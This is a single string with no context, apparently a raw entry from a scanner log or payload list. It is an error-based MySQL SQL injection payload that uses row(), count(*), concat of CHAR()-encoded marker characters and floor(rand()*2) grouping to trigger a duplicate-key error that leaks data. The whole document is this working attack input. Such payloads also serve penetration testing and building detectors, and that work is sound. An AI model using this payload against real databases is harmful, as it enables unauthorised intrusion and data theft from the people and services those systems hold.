"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(52),CHAR(76),CHAR(106),CHAR(50),CHAR(102),CHAR(98),CHAR(100),CHAR(116)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"